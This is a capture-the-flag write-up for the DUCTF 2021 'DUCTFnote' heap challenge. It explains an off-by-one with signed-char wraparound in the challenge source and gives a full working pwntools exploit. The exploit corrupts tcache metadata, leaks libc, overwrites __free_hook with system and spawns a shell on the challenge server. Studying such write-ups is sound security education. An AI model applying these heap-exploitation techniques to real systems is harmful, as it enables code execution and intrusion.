# DUCTFnote
DUCTFnote was a heap challenge from DUCTF2021 that at the end of the CTF finished with 28 solves and a value of 471 points. I actually solved the challenge an hour after the CTF finished, but enjoyed the task (thanks to grub for writing it), so thought I would do a write-up.
![Challenge description on website](https://i.imgur.com/7SClAyg.png)
## Provided files
We are giving the binary itself `ductfnote`, the libc binary `libc-2.31.so` and the source of the challenge `ductfnote.c`. Having the source is really nice, because we can skip some reversing and do some source code analysis to find the bugs.
### ductfnote
Looking at the binary itself:
```bash$ checksec ductfnote[*] '~/CTF/DUCTF/2021/pwn/DUCTFnote/ductfnote'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled$```
We can see it has got fairly standard protections for a heap challenge.  
### libc-2.31.so
The version of libc is identified by [libc-database](https://github.com/niklasb/libc-database) as `libc6_2.31-0ubuntu9.2_amd64` (which means it's a standard unmodified version of libc).
```bash$ md5sum libc-2.31.sod371da546786965fe0ee40147ffef716  libc-2.31.so$```
In terms of libc mitigations: * It's above 2.29 - so keys have been added to the tcache (as double free mitigation). * It's below 2.32 - so no pointer mangling for singly linked list ([Safe Unlinking](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)). * It's below 2.34 - so tcache key is not randomised and `__malloc_hook` and `__free_hook` still avaliable.
## Challenge overview
If we run the challenge we are greeted with a fancy banner and a menu:
```bash$ ./ductfnote 	                           %%%%%%%%%                                          %%%%%%%%%%%%%%%%%%%%%%%                                     %%%%%%%%%%%%%%%%%%%%%%%%%%%%..............%%%%                   %%%%%%%%%%%%%%%%%%%%%%%%%%%%                 ,%                  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%       ,%                  %%%%%%%%       %%%%%%%%%%%%%                 ,%                  %%%%%%%%  %%%%   %%%%%%%%%%%%%%%%%%%%%       ,%                  %%%%%%%%  %%%%%\  %%%%%%%%%%              %%##%                  %%%%%%%%  %%%%%%\  %%%%%%%%%%%%%%%%%%%    %% ,%                  %%%%%%%%  %%%%%%%  %%%%%%%%%              %% ,%                  %%%%%%%%  %%%%%%%  %%%%%%%%%              %%%%%                  %%%%%%%%  %%%%%%%  %%%%%%%%%%%%%%%%%%%    %% ,%                  %%%%%%%%  %%%%%%/ %%%%%%%%%%              %% ,%                  %%%%%%%%  %%%%/  %%%%%%%%%%%..........            %%%%%%%%       %%%%%%%%%%%%%              %% ,%                  %%%%%%%%%%%%%%%%%%%%%%%%%%%%              %% ,%                  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                           %%%%%%%%%%%%%%%%%%%%%%                                                          %%%%%%%
      *******************************************      *                DUCTFnote                *        *******************************************
1. Create Note2. Show Note3. Edit Note4. Delete Note>> ```
The description of the challenge was "You only get OneNote" (hence the ascii art banner is a play on the [OneNote logo](https://upload.wikimedia.org/wikipedia/commons/9/9e/Microsoft_OneNote_2013_logo.svg)), but this is also due to the fact that the challenge only holds a single pointer to a note.
### Create Note
If we pick `1. Create Note`:
```bash>> 1
Size: ```
We have the option to provide a size, it then uses that value to determine the size it will use in the malloc request (but as you will see, it is not simply using that value). Let's look at the code for note creation:
```c    case 1:            printf("Size: ");            unsigned int size;            scanf("%d", &size);            getchar();            note = create_note(size, params);            break;```
So, it reads the size and passes it to `create_note`, which then populates our single pointer (called `note`). Note is a local variable of main:
```c    datanote_t* note = NULL;```
But, clearly note is a pointer to some kind of structure (rather than just some data), so let's take a look at that type:
```ctypedef struct datanote {        unsigned int size;        char data;} datanote_t;```
So, note stores the size of the data followed by the data. Before we move onto the code for `create_note`, we should look at that `params` argument that is also being passed. It is initialized at the start of `main`:
```c    param_t*  params = (param_t*)malloc(sizeof(param_t));    params->maxsize = 0x7f;```
That `maxsize` attribute that we see being set, is the only member of the struct:
```ctypedef struct param {        unsigned int maxsize;} param_t;```
So, now we have a good idea of the arguments being passed to `create_note`, let's examine the code:
```cdatanote_t * create_note(unsigned int size, param_t *params) {        if (size > params->maxsize) {                printf("Note too big.\n");                return 0;        }        int allocsize = size | 0x80;        datanote_t * note = (datanote_t*)malloc(allocsize + 8);        note->size = size;        return note;}```
So the size is going to get checked against `maxsize` (which we know is 0x7f) and if it is found to be greater, it will just return zero. But after that point, things get interesting...
The size we provide is OR'd with 0x80 (effectively adding 0x80 to the value we provide) and then before the malloc, 8 is added to the size again. This means that even if we provide a size of 0, this will first have 0x80 added to it, then another 8, which would then result in a 0x90 byte chunk (the smallest size we can allocate). The largest size we can supply is 0x7f, which would then result in a 0x110 sized chunk.
Finally we can see that the value stored as the `size` attribute of the chunk is the original size value we supplied (with none of the addtions done to it).
### Edit Note
If we have created a note, we can edit it with the `3. Edit Note` option.
```bash>> 1
Size: 16
1. Create Note2. Show Note3. Edit Note4. Delete Note>> 3
AAAAAAAAAAAAAAAA
1. Create Note2. Show Note3. Edit Note4. Delete Note>> ```
If we look at the code it is very simple:
```c    case 3:            edit_note(note);            break;```
Which then calls:
```cvoid edit_note(datanote_t * note) {        if(!note) {                printf("No Note.\n");                return;        }
        signed char idx = 0;        while(idx <= note->size) {                *(&(note->data)+idx) = fgetc(stdin);                if (*(&(note->data)+idx) == '\n') {*(&(note->data)+idx) = '\0'; break;}                idx++;        }}```
This is going to first check we have a note and then it will use that size field that got populated during creation to limit how many characters we can write. The loop will also exit early if we supply a newline character.
So after the above example (where we gave a size of 16 and then 16 bytes of data), the memory looks like:
![Memory after edit of 16 bytes](https://i.imgur.com/HZhVcXn.png)
We get a 0xa0 byte chunk and in the data, we get a `size` field of 0x10, followed by that many 'A' chars.
Worth noting at this point that the chunk before the one we allocated is the params object with the maxsize field in it. The chunk before that (the first on the heap) is the `tcache_perthread_struct`, which we'll talk about more later, but if you're not familiar with it, know that it is the metadata for the tcache.
### Show Note
If we select the `2. Show Note` option, we can display the data held in the note:
```bash>> 2
<------------ NOTE 1 ------------>AAAAAAAAAAAAAAAA<-------------------------------->
1. Create Note2. Show Note3. Edit Note4. Delete Note>> ```
The code for this is again very simple:
```c    case 2:            show_note(note);            break;```
Which calls:
```cvoid show_note(datanote_t * note) {        if(!note) {                printf("No Note.\n");                return;        }
        printf("<------------ NOTE 1 ------------>\n");        fwrite(&(note->data), note->size, 1, stdout);        printf("\n");        printf("<-------------------------------->\n");        printf("\n");}```
It checks the `size` from the header and then does an fwrite of that amount from the `data` field. The use of fwrite, means we have no opportunity for format string bugs or leaks via pressing our string right up to some target data, but it also means we don't have to worry about our data having NULL bytes in it.
### Delete Note
If we pick the `4. Delete Note` option, we can free the note:
```bash>> 4
1. Create Note2. Show Note3. Edit Note4. Delete Note>> ```
The code for which is simple:
```c    case 4:            free(note);            note = 0;            break;```
It does zero out the `note` pointer, so we can't get a double free and obviously you can call this when note is not populated, but that is just going to do a `free(0)` which returns harmlessly.
## Bugs
### Uninteresting NULL pointer dref
Not interesting to us, but because we can create a new chunk, without free'ing the old chunk and there is no limit to the number of chunks we can allocate, we could just keep requesting chunks until we exhaust the amount of memory our process is able to allocate. Then in the `create_note` code:
```c        datanote_t * note = (datanote_t*)malloc(allocsize + 8);        note->size = size;```
It fails to check the return value from `malloc`, so if malloc fails it will return NULL and then it will try to dereference that NULL pointer, causing a crash.
Again, not useful, but a bug none the less.
### Useful bug
You might have already spotted the bug in the `edit_note` loop code. If we look at it:
```c    signed char idx = 0;    while(idx <= note->size) {            *(&(note->data)+idx) = fgetc(stdin);            if (*(&(note->data)+idx) == '\n') {*(&(note->data)+idx) = '\0'; break;}            idx++;    }```
The check for the index (`idx`) against the `size` field is a less than or equal, and with the index starting at zero this means that we can actually write one byte more than the size we asked for. For example:
```bashSize: 16
1. Create Note2. Show Note3. Edit Note4. Delete Note>> 3
BBBBBBBBBBBBBBBBB
1. Create Note2. Show Note3. Edit Note4. Delete Note>> ```
Here I have asked for 16, but have written 17 'B' characters. If we check that out in memory:
![17 byte write](https://i.imgur.com/qy2fOaK.png)
We could start thinking about overflowing into another chunk but remember the size of our chunk is our value with 0x88 added to it (so it's going to be much larger than the amount we can write). But there is another interesting aspect to this, because `idx` is a signed character, if we ask for the largest size we can (0x7f or 127) the bug will allow us to write 128 chracters (making `idx` 0x7F), but then when it does the `idx++;` it will set the value to be 0x80, which for a signed char will be -127. Obviously -127 is less than or equal to 127, so the loop continues.
We can test this by asking for a size of 127 and then supplying 128 'A's and one 'B':
```>> 1
Size: 127
1. Create Note2. Show Note3. Edit Note4. Delete Note>> 3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
1. Create Note2. Show Note3. Edit Note4. Delete Note>> ```
No objections. And if we check memory:
![One 'B' overflow](https://i.imgur.com/fosaDcI.png)
We can see that the one 'B' is written backwards in memory, into the space of the `tcache_perthread_struct` entry. If we were to continue writing we would overwrite more bytes, growing towards our 'A's. With this bug we can control the 128 bytes before our `data` field.
## Exploitation
### Removing the 0x7f size restriction
The plan is to use the negative index overflow to modify all the way down until we overwrite the `maxsize` attribute of the `params` struct.
I used the following:
```pythonalloc(127)buff = b'A'*128        # fill till offset goes negativebuff+= b'\x00'*84      # fill space (in tcache meta data) till we hit start of params chunkbuff+= p64(0x21)       # leave header of params chunk in tact (dont have to, but why not?)buff+= p64(0xffffffff) # alter maxsize to be max int.edit(buff)```
If we look at memory after this has executed:
![Maxsize is overwritten](https://i.imgur.com/rn0AiZK.png)
After we have done this we can now ask for a size larger than 127:
```bash1. Create Note2. Show Note3. Edit Note4. Delete Note>> 1
Size: 1337
1. Create Note2. Show Note3. Edit Note4. Delete Note>>  ```
### Getting libc addresses onto the heap
If we wanted a heap leak, this version of libc makes it fairly easy due to the `key` field of the free'd tcache chunks pointing into the `tcache_perthread_struct`. For example free'ing a 0xa0 sized chunk:
![tcache key example](https://i.imgur.com/S3T1CsC.png)
And when I was developing the exploit I did this first, but later decided it wasn't useful. What we really want is a libc address and to get that we need the free'd chunk to be in one of the doubly linked bins (not tcache and not fastbin).
A classic way to do this would be to pick a size above fastbin sizes (>0x80 by default) and then free enough chunks to fill the tcache (7 chunks) so the next one would be put into a non-tcache bin. But we can't easily free multiple chunks of the same size into a tcache bin, because you can only free the thing you have most recently allocated, so if you free'd an 0xa0 chunk into the tcache, you would then need to get another 0xa0 sized chunk, and to do that you would need to malloc a new 0xa0 sized chunk, which would then give you back the one you just free'd.
The next way to do it would be to pick a size outside of tcache range (>0x410) and you might think this would be easy now that we have made it so we can allocate any size.. however, if free a chunk is outside of tcache range, unless there is a chunk between it and the top chunk, it is just going to be consolidated into the top chunk.
The solution is to craft our own sufficiently large chunk by messing with chunk header sizes. We take two tcache size chunks (the size of which combined would be outside of tcache range) and then change the size of the first to cover both of them. We will also have to have a chunk following them to prevent consolidation.
Here is my code for this:
```pythonalloc(0x200)    free()alloc(0x210)free()alloc(30)       # acts as guard to prevent consolidationfree()```
If we inspect memory after this:
![Two large tcache chunks](https://i.imgur.com/c1EVWYn.png)
So we have create a 0x290 chunk, followed by a 0x2a0 chunk, followed by a 0xb0 size chunk.
We then use the index overflow trick on the first of these three new chunks to change its chunk size field.(We make the new chunksize exactly fit over the two chunks: 0x290 + 0x2a0 = 0x530)
```pythonalloc(0x200)buff = b'A'*128     # fill till offset goes negativebuff+= b'\x00'*116  # pad until we hit the size field of the chunkbuff+= p64(0x531)   # new chunk size (completely overlaps next chunk)edit(buff)```
Inspecting the memory:
![New 0x530 sized chunk](https://i.imgur.com/oaTqy0R.png)
Then we free it:
```pythonfree()```
![Chunk now in unsorted bin](https://i.imgur.com/Bl3mP2X.png)
Now we just need to leak one of those pointers.
### Leaking the pointers
With hindsight, if I had picked my new large chunk size more carefully (making it something I could allocate back, without the OR with 0x80 getting in the way), I could have used the fact that the `create_note` doesn't zero out the data to use a show on the chunk, and simply get the value. But.. as I mentioned before, I had been doing a leak of the `key` field of tcache chunks and those do get zero'd when the chunk is allocated, so I had to come up with another way.. which I just reused for this.
I used our initial '127' chunk and overflowed it again to change the size field of the `datanote_t` struct to be large enough that it would include the start of the 0x530 chunk:
```pythonalloc(127)             # get our initial '127' chunk againbuff = b'A'*128        # fill till offset goes negativebuff+= b'\x00'*84      # fill space (in tcache meta data) till we hit start of params chunkbuff+= p64(0x21)       # leave header in tactbuff+= p64(0xffffffff) # leave max size modifiedbuff+= p64(0)+p64(0)   # pad the rest of that 0x20 chunkbuff+= p64(0x111)      # keep our chunk size in tactbuff+= p32(0x120)      # modify the size field of our datanote_t structedit(buff)```
![modifed note size](https://i.imgur.com/VuMWkRI.png)
Now I just request the content of the note and extract the bytes I need:
```pythondata = show()# extract just the addr and calculate the libc base from itaddr = u64(data[268:276])info(f'leaked libc addr: 0x{addr:x}')libc.address = addr - 0x1ebbe0info(f'libc base: 0x{libc.address:x}')```
Which gives:
```bash[*] leaked libc addr: 0x7f622ba86be0[*] libc base: 0x7f622b89b000```
### Allocating the address of free hook
With the lack of safe unlinking (introduced in glibc 2.32), it might seem like an easy way to get an arbitary address allocated back to you would be to modify the data of the `fd` pointer of a free'd chunk in a tcache bin. However, you would then need to request that chunk back to you (making your desired location the head of that tcache bin) and then do a final allocation to get that address allocated to you. The issue is that the tcache keeps track of the number of chunks in each tcache bin and will not allocate a chunk to you (even if the pointer for that bin is not NULL) if the count for that bin is zero. So, to make this work, we would need to have the count be more than one when we do the overwrite, however we have already discussed the issues with getting more than one chunk into a tcache bin in this challenge.
A far easier way in this case, is to simply target the pointers to the heads of the tcache bins, which are store inside the `tcache_perthread_struct` (which we know we can overwirte some of).
Let's look at the definition of the `tcache_perthread_struct`:
```c/* There is one of these for each thread, which contains the   per-thread cache (hence "tcache_perthread_struct").  Keeping   overall size low is mildly important.  Note that COUNTS and ENTRIES   are redundant (we could have just counted the linked list each   time), this is for performance reasons.  */typedef struct tcache_perthread_struct{  char counts[TCACHE_MAX_BINS];  tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;```
So, an array of counts and then an array of points to the bins for those counts.The size of the count fields change depending on the version of glibc, in the code above it is represented by a single byte, but since glibc 2.31 (which we are using), this has changed to be a `uint_16`.
Currently in our tcache we still have 2 chunks, the guard chunk (0xb0), and the second of the chunks that we used to make the 0x530 chunk (0x2a0). So if we inspect the memory:
![Tcache meta data](https://i.imgur.com/bZqKHEX.png)
You can see two non-zero count fields and two non-zero pointers.
We can only overwrite the latter part of the structure (containing the pointers to the larger sized tcache bins) and certainly not the part containing the counts. So we need the count for the bin pointer we intend to overwrite to already be non-zero.
If I had wanted to optimize my solution I would have used a larger chunk for the 'guard chunk' from earlier, and thus saved a step now, but when I know I might be writing something up later, I try to keep the steps as distinct as possible.
So we simply allocate a chunk of a size near the end of the tcache range and then free it:
```pythonalloc(0x3f8)free()```
![New pointer at end of tcache metadata](https://i.imgur.com/I4tF23n.png)
This has created a chunk well within the range of our overflow from the '127' chunk.Now we just have to write the address of `__free_hook` over that pointer.. well.. almost.. we have to take account of the fact that we don't get to control the very start of the data for the allocated chunk (because the 4 byte size field gets written there), but we can work around this by just subtracting 8 bytes from the address:
```pythonalloc(127)# Now do the overflow again, but this time we want to mess with the pointer# for the 0x3f8 chunk we just free'd in the tcache meta databuff = b'A'*128buff+= b'B'*68buff+= p64(libc.symbols.__free_hook-8) # aim 8 bytes back (because of size field)edit(buff)```
Inspecting memory:
![Modified tcache pointer](https://i.imgur.com/MAGg8Pm.png)
Now we allocate another chunk of that size and we will be given a pointer to just before `__free_hook`. We then just overwrite its content (accounting for the padding for the size field):
```pythonalloc(0x3f8)edit(b'P'*4 + p64(libc.symbols.system)) # overwrite (accoutning for 4 bytes of pad)```
Which when inspect with gdb, gives:
```bashpwndbg> x/gx &__free_hook0x7f622ba89b28 <__free_hook>:	0x00007f622b8f0410pwndbg> x/2i 0x00007f622b8f0410   0x7f622b8f0410 <__libc_system>:	endbr64    0x7f622b8f0414 <__libc_system+4>:	test   rdi,rdipwndbg> ```
### Triggering free hook to get shell
We now need a chunk containing '/bin/sh' that we can free to get a shell. To do this, I will once more allocate our '127' chunk and use its overflow to modify the chunk data to be '/bin/sh':
```pythonalloc(127)              # use '127' chunk againbuff = b'A'*128         # fill till offset goes negativebuff+= b'B'*124         # pad till we reach chunk data buff+= b'/bin/sh\x00'   # place '/bin/sh' stringedit(buff)```
Which gives:
![String '/bin/sh' now in memory](https://i.imgur.com/BY3D5dv.png)
The heap visualization is a bit messed up (because I trashed the headers for the chunk - I could have fixed these up, but we really don't need them any more).
Finally we just free the chunk to get a shell:
```pythonfree()io.interactive()```
## Running solution
```bash$ ./exploit.py REMOTE[*] '~/CTF/DUCTF/2021/pwn/DUCTFnote/ductfnote'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled    RPATH:    b'.'[*] '~/CTF/DUCTF/2021/pwn/DUCTFnote/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to pwn-2021.duc.tf on port 31917: Done[*] leaked libc addr: 0x7fd873ca8be0[*] libc base: 0x7fd873abd000[*] Switching to interactive mode$ ls -l
total 2200-rw-r--r-- 1 65534 65534      42 Sep 17 11:24 flag.txt-rwxr-xr-x 1 65534 65534  191472 Sep 17 11:24 ld-2.31.so-rwxr-xr-x 1 65534 65534 2029224 Sep 17 11:24 libc.so.6-rwxr-xr-x 1 65534 65534   21832 Sep 17 12:29 pwn$ cat flag.txtDUCTF{n0w_you_4r3_r34dy_f0r_r34l_m$_0d4y}$  ```
## Full solution script
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('./ductfnote')libc = exe.libc
gdbscript = '''set disassembly-flavor inteltbreak maincontinue'''
if args.REMOTE:    io = remote('pwn-2021.duc.tf', 31917)elif args.GDB:    io = gdb.debug(exe.path, gdbscript=gdbscript)else:    io = process(exe.path)
def alloc(size):    ''' it allocates 8 bytes extra anyway '''    io.sendlineafter(b'>> ', b'1')    io.sendlineafter(b'Size: ', f'{size:d}')
def free():    io.sendlineafter(b'>> ', b'4')
def edit(data):    io.sendlineafter(b'>> ', b'3')    io.sendline(data)
def show():    io.sendlineafter(b'>> ', b'2')    io.recvuntil(b'NOTE 1 ------------>\n')    ret=io.recvuntil(b'<-------------------------------->\n', drop=True)    return ret
###################################################################### Overflow using the negative index to modify the params size field ######################################################################alloc(127)buff = b'A'*128        # fill till offset goes negativebuff+= b'\x00'*84      # fill space (in tcache meta data) till we hit start of params chunkbuff+= p64(0x21)       # leave header of params chunk in tact (dont have to, but why not?)buff+= p64(0xffffffff) # alter maxsize to be max int.edit(buff)
######################################################################           Craft a chunk outside of tcache range                   ######################################################################
# Allocate some more chunks after (free'ing each time)## Can pick whatever sizes we want, but needs to add up to a# size outside of tcache chunk range (>0x410) and avoid re-using# our initial chunk size.#free()          # free our inital '127' sized chunk (for use again later)alloc(0x200)    free()alloc(0x210)free()alloc(30)       # acts as guard to prevent consolidationfree()
# re-allocate the first of those three and use the overflow to mod its sizealloc(0x200)buff = b'A'*128     # fill till offset goes negativebuff+= b'\x00'*116  # pad until we hit the size field of the chunkbuff+= p64(0x531)   # new chunk size (completely overlaps next chunk)edit(buff)# now free it to create a non-tcache sized free chunk (with libc pointers)free()
######################################################################              Leak pointer from free'd 0x530 chunk                 ######################################################################
# We use our initial '127' chunk again over an overflow. But this time# the target is the size field in the data of our chunk (changing the 0x7F)# to something larger.alloc(127)             # get our initial '127' chunk againbuff = b'A'*128        # fill till offset goes negativebuff+= b'\x00'*84      # fill space (in tcache meta data) till we hit start of params chunkbuff+= p64(0x21)       # leave header in tactbuff+= p64(0xffffffff) # leave max size modifiedbuff+= p64(0)+p64(0)   # pad the rest of that 0x20 chunkbuff+= p64(0x111)      # keep our chunk size in tactbuff+= p32(0x120)      # modify the size field of our datanote_t structedit(buff)
# Now 'show the data'data = show()# extract just the addr and calculate the libc base from itaddr = u64(data[268:276])info(f'leaked libc addr: 0x{addr:x}')libc.address = addr - 0x1ebbe0info(f'libc base: 0x{libc.address:x}')
######################################################################      Overwirte an existing tcache pointer with &__free_hook       ######################################################################
# Free our '127' chunk (so we can get it back later)free()
# Now allocate a chunk and free into the tcache (to set the count for# that tcache size to one).alloc(0x3f8)free()
# Now get our first chunk backalloc(127)# Now do the overflow again, but this time we want to mess with the pointer# for the 0x3f8 chunk we just free'd in the tcache meta databuff = b'A'*128buff+= b'B'*68buff+= p64(libc.symbols.__free_hook-8) # aim 8 bytes back (because of size field)edit(buff)
# free the '127' chunk once more (so we can get it back later)free()
# now try to alloc the __freehook back to us as a chunkalloc(0x3f8)edit(b'P'*4 + p64(libc.symbols.system)) # overwrite (accoutning for 4 bytes of pad)
######################################################################       Create a chunk containing '/bin/sh' we can free             ######################################################################
alloc(127)              # use '127' chunk againbuff = b'A'*128         # fill till offset goes negativebuff+= b'B'*124         # pad till we reach chunk data buff+= b'/bin/sh\x00'   # place '/bin/sh' stringedit(buff)
######################################################################                    Pop a shell and win                            ######################################################################
free()io.interactive()```
## Appendix - Challenge source
```c#include <stdlib.h>#include <stdio.h>#include <malloc.h>
typedef struct param {	unsigned int maxsize;} param_t;
typedef struct datanote {	unsigned int size;	char data;} datanote_t;
void init();void welcome();void print_menu();datanote_t * create_note(unsigned int size, param_t* params);void show_note(datanote_t * note);void edit_note(datanote_t * note);
int main() {	init();	welcome();
	int choice;	datanote_t* note = NULL;	param_t*  params = (param_t*)malloc(sizeof(param_t));	params->maxsize = 0x7f;
	while(1) {		print_menu();
		scanf("%d", &choice);		getchar();		printf("\n");		switch (choice) {			case 1:				printf("Size: ");				unsigned int size;				scanf("%d", &size);				getchar();				note = create_note(size, params);				break;			case 2:				show_note(note);				break;			case 3:				edit_note(note);				break;			case 4:				free(note);				note = 0;				break;			default:				printf("Invalid option.\n");		}	}
	return 0;}
void init() {    setvbuf(stdout, 0, 2, 0);    setvbuf(stdin, 0, 2, 0);}
void welcome() {	printf("	                           %%%%%%%%%%%%%%%%%%                         \n");	printf("                 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                         \n");	printf("            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..............%%%%%%%%       \n");	printf("            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                 ,%%      \n");	printf("            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%       ,%%      \n");	printf("            %%%%%%%%%%%%%%%%       %%%%%%%%%%%%%%%%%%%%%%%%%%                 ,%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%       ,%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%%%\\  %%%%%%%%%%%%%%%%%%%%              %%%%##%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%\\  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    %%%% ,%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%%%  %%%%%%%%%%%%%%%%%%              %%%% ,%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%%%  %%%%%%%%%%%%%%%%%%              %%%%%%%%%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    %%%% ,%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%%%%%/ %%%%%%%%%%%%%%%%%%%%              %%%% ,%%      \n");	printf("            %%%%%%%%%%%%%%%%  %%%%%%%%/  %%%%%%%%%%%%%%%%%%%%%%..........\n");	printf("            %%%%%%%%%%%%%%%%       %%%%%%%%%%%%%%%%%%%%%%%%%%              %%%% ,%%      \n");	printf("            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%              %%%% ,%%      \n");	printf("            %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%         \n");	printf("                  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%                         \n");	printf("                                 %%%%%%%%%%%%%%\n\n");
	printf("      *******************************************\n");	printf("      *                DUCTFnote                *  \n");	printf("      *******************************************\n\n");}
void print_menu() {	printf("\n");	printf("1. Create Note\n");	printf("2. Show Note\n");	printf("3. Edit Note\n");	printf("4. Delete Note\n");	printf(">> ");}
datanote_t * create_note(unsigned int size, param_t *params) {	if (size > params->maxsize) {		printf("Note too big.\n");		return 0;	}	int allocsize = size | 0x80;	datanote_t * note = (datanote_t*)malloc(allocsize + 8);	note->size = size;	return note;}
void show_note(datanote_t * note) {	if(!note) {		printf("No Note.\n");		return;	}
	printf("<------------ NOTE 1 ------------>\n");	fwrite(&(note->data), note->size, 1, stdout);	printf("\n");	printf("<-------------------------------->\n");	printf("\n");}
void edit_note(datanote_t * note) {	if(!note) {		printf("No Note.\n");		return;	}
	signed char idx = 0;	while(idx <= note->size) {		*(&(note->data)+idx) = fgetc(stdin);		if (*(&(note->data)+idx) == '\n') {*(&(note->data)+idx) = '\0'; break;}		idx++;	}}```